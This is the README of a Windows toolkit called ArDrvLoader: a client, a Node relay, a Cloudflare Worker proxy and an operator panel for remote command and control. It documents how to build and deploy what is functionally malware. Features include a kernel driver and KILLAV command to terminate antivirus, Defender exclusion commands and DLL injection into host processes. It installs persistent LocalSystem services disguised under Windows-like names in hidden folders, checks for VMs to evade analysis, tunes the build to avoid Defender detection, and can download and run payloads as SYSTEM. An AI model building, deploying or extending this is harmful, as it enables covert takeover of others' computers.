# ArDrvLoader - build, use, test Single Windows client binary that installs a LocalSystem service stack, a kernel driver, and a cloud command channel, plus a relay server and a Cloudflare Worker that sit in front of it. ``` client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel ``` The Worker stores nothing; the relay owns all state. A client can also talk to the relay directly (no Worker) when you want to save Cloudflare requests. - detailed internals: `SERVICES.md` - this file: how to build, run and test --- ## 1. Requirements | Piece | Need | |---|---| | Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild | | Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) | | Worker (optional) | `npm i -g wrangler` and a Cloudflare account | | Test target | Windows 10/11 x64, admin rights for service install | Repository layout: ``` cpp_end/ *.cpp *.h client sources ArDrvLoader.vcxproj client project StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe) driver_res.rc stage_res.rc resource.h embedded driver + payload build.ps1 build driver → payload → exe, produces dist\ server/ relay server, sqlite, panel.html cloudflare/ Worker proxy, mock worker agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK test-cloud.ps1 end-to-end test against the mock worker SERVICES.md deep documentation ``` Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded. Place nothing there for a driver-less build. --- ## 2. Build ``` cd cpp_end powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release ``` Output: ``` dist\Release\ArDrvLoader.exe <- single file, this is what ships x64\Release\ArDrvLoader.exe <- build output with .pdb symbols ``` Variants: | Command | Result | |---|---| | `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs | | `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` | | `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately | | `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely | Raw MSBuild, if you prefer: ``` MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m ``` Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so double-clicking it shows no console. Debug stays a console app. Build hardening already applied to Release: `/Brepro` (no Rich header, no timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a `Trojan:Win32/Wacatac.B!ml` false positive from Defender. ### Build-time defaults The exe can run with **no arguments at all**. These macros live in `ArDrvLoader.vcxproj` → `PreprocessorDefinitions`: | Macro | Meaning | Default | |---|---|---| | `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` | | `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` | | `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` | | `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty | | `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` | Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping. --- ## 3. Run the relay server ``` cd cpp_end/server set PORT=8790 set AGENT_SECRET=testsecret set OPERATOR_KEY=testop set ENROLL_SECRET=testenroll set LEGACY_MASTER_AUTH=false set PROXY_SECRET=proxys3cret node server.js ``` | Env | Default | Purpose | |---|---|---| | `PORT` | 8790 | listen port | | `DATA_DIR` | `./data` | sqlite file + `files/` payloads | | `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` | | `AGENT_SECRET` | - | master key; per-agent keys are derived from it | | `OPERATOR_KEY` | - | panel / operator API key | | `ENROLL_SECRET` | operator key | enrollment token | | `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration | | `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` | | `RETAIN_COMMAND_DAYS` | 7 | command retention | | `RETAIN_EVENT_DAYS` | 30 | event retention | | `RETAIN_MAX_COMMANDS` | 50000 | hard cap | The server creates its schema on start, opens SQLite in WAL mode, and reaps commands stuck in `sent` for over 180 s. Panel: `http://:8790/panel?key=testop` --- ## 4. Run the Worker proxy (optional) ``` cd cpp_end/cloudflare wrangler dev --port 8789 --ip 127.0.0.1 --local ``` `.dev.vars`: ``` SERVER_URL=http://127.0.0.1:8790 PROXY_SECRET=proxys3cret ``` Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then `wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure forwarder. --- ## 5. Install the client ### One double-click `dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults: 1. one UAC prompt 2. installs driver + three services + cloud agent service 3. waits for the agent to register (id = computer name) 4. queues `KILLAV` through the relay so the run appears in the panel ### With explicit arguments ``` ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key ^ [--agent box1] [--secret ] [--target C:\Path\App.exe] [--no-killav] ``` ### Services only, no bootstrap ``` ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent" ArDrvLoader.exe -install-guard-services --target-service "SomeService" ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC ``` Options: `--prefix `, `--install-dir `, `--keep-location`, `--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`, `--cloud-service`. ### What gets installed | Service | Role | |---|---| | `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` | | `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive | | `ServiceStateHost` | re-enables a disabled target service and starts it | | `CloudTest` / `CloudSyncHost` | the cloud agent | All run as `LocalSystem`, auto-start, restart on failure, and watch each other. Files live under a machine-tagged directory: `%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\` for a non-elevated agent). ### Configuration - `HKLM\SOFTWARE\ArDrvLoader` The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop, so changes apply without reinstalling. | Value | Type | Default | Meaning | |---|---|---|---| | `TargetPath` | REG_SZ | - | program to keep alive | | `TargetArgs` | REG_SZ | - | its arguments | | `TargetService` | REG_SZ | - | service to keep alive instead | | `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path | | `DriverService` | REG_SZ | `ArDrv` | kernel service name | | `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify | | `CheckIntervalMs` | REG_DWORD | 5000 | loop interval | | `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand | | `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures | | `DriverFailMax` | REG_DWORD | 3 | budget before giving up | | `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` | | `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start | | `AllowVm` | REG_DWORD | 0 | run inside a VM | | `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions | --- ## 6. Cloud agent ``` ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret --interval 5000 ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ... ``` Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or `HKLM\Software\CloudAgent`. ### Per-agent keys ``` ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret ``` Writes `\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET` are absent. Revoke from the panel (`revoke`) or `POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it. --- ## 7. Panel `http://:8790/panel?key=` - **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips, history with `copy result` / `run again` - **All commands** - global table, defaults to executed commands, sortable by time / agent / command / state / operator / result / duration - `run` chip re-enqueues that command for the same agent - `+` or the result cell expands the output - clicking the row loads the command into that agent's console - **Palette** - `all commands (47)` opens every command grouped by category, with search; chips with `` load into the composer, others send immediately - agent header shows host, user, SID, version, interval, and `revoke`/`restore` - offline agents render grey (`online=false` after 3 intervals, min 45 s) - broadcast sends one command to every online agent - auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key --- ## 8. Commands ``` PING STATUS HELP RUN EXEC RUN_USER RUN_SYSTEM PS PS_USER RUNFILE [args] RUNFILE_USER RUNFILE_SYSTEM OPENFILE [args] OPENFILE_USER DOWNLOAD [sha256] DEPLOY [args] DEPLOY_SYSTEM [args] KILLPID KILLNAME KILLALL TOKEN_GET INJECT_FILE INJECT_SUSPEND KILLAV KILLAV_DRYRUN EXCLUSION_LIST EXCLUSION_ADD EXCLUSION_APPLY DRIVER_STATUS DRIVER_RESET DRIVER_LOAD HOST_LIST HOST_SPAWN [--host ] [args] HOST_SPAWN_USER HOST_INJECT [--host ] HOST_TRACK HOST_UNTRACK STAGE_STATUS STAGE_INJECT [--host ] STAGE_RUN STAGE_STOP SERVICE_STATUS START_SERVICE [path] INSTALL_SERVICE [path] INSTALL_CLOUD_SERVICE INSTALL_GUARD_SERVICES [--target ] [--target-service ] [--args ] STOP ``` `KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped. --- ## 9. Test ### 9.1 Automated cloud test (mock worker, no Node needed in the path) ``` cd cpp_end powershell -ExecutionPolicy Bypass -File test-cloud.ps1 ``` It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks: PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST, DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS. Useful switches: `-Port 8795 -AgentId clitest1`. ### 9.2 Manual command against the live relay ``` \.\agent-cli.ps1 -Command "STATUS" \.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST" agent.cmd STATUS # wrapper for hosts with a restrictive execution policy ``` ### 9.3 Single-exe client test 1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder 2. Double-click it (Release is silent; use Debug to watch) 3. Expect UAC → agent appears in the panel → `KILLAV` row completes Verify from a shell: ``` sc query DeviceSetupHost sc query ArDrv dir C:\Windows\System32\drivers\ardrv.sys HKLM\SOFTWARE\ArDrvLoader ``` ### 9.4 Driver checks ``` ArDrvLoader.exe -drv status # device=ok embedded= fail=N/max state=... ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys ArDrvLoader.exe -drv reset ``` ### 9.5 Kill-safety checks ``` ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver) ``` ### 9.6 AV scan ``` "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^ "C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation ``` Current build scans clean on engine 1.461.217.0. ### 9.7 Uninstall / reset Elevated, in order: ``` sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost sc stop ArDrv sc delete ArDrv del C:\Windows\System32\drivers\ardrv.sys reg delete HKLM\SOFTWARE\ArDrvLoader /f rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex> ``` Then clear relay state if you want a clean panel: ``` node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')" ``` A staged payload that was injected into a live host can keep `ardrvstage.dll` locked until reboot; queue it with `PendingFileRenameOperations` or restart. --- ## 10. Troubleshooting | Symptom | Cause / fix | |---|---| | double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer | | UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` | | silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` | | agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) | | agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold | | services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists | | driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` | | command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` | | Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing | | SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary | --- ## 11. Known limitations - The client is **unsigned**; code signing is the durable fix for SmartScreen and behavioural AV verdicts. - Driver capabilities beyond terminate (`PPL` strip, kernel registry writes, device ACL) need driver source, which is not part of this repository. - `KILLAV` is real: on a test box it disables Defender until it recovers. - Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps you around 17 agents. - The "services go quiet, payload takes over" handoff is half-built: the guard keeps the stage payload alive, but the payload only runs commands.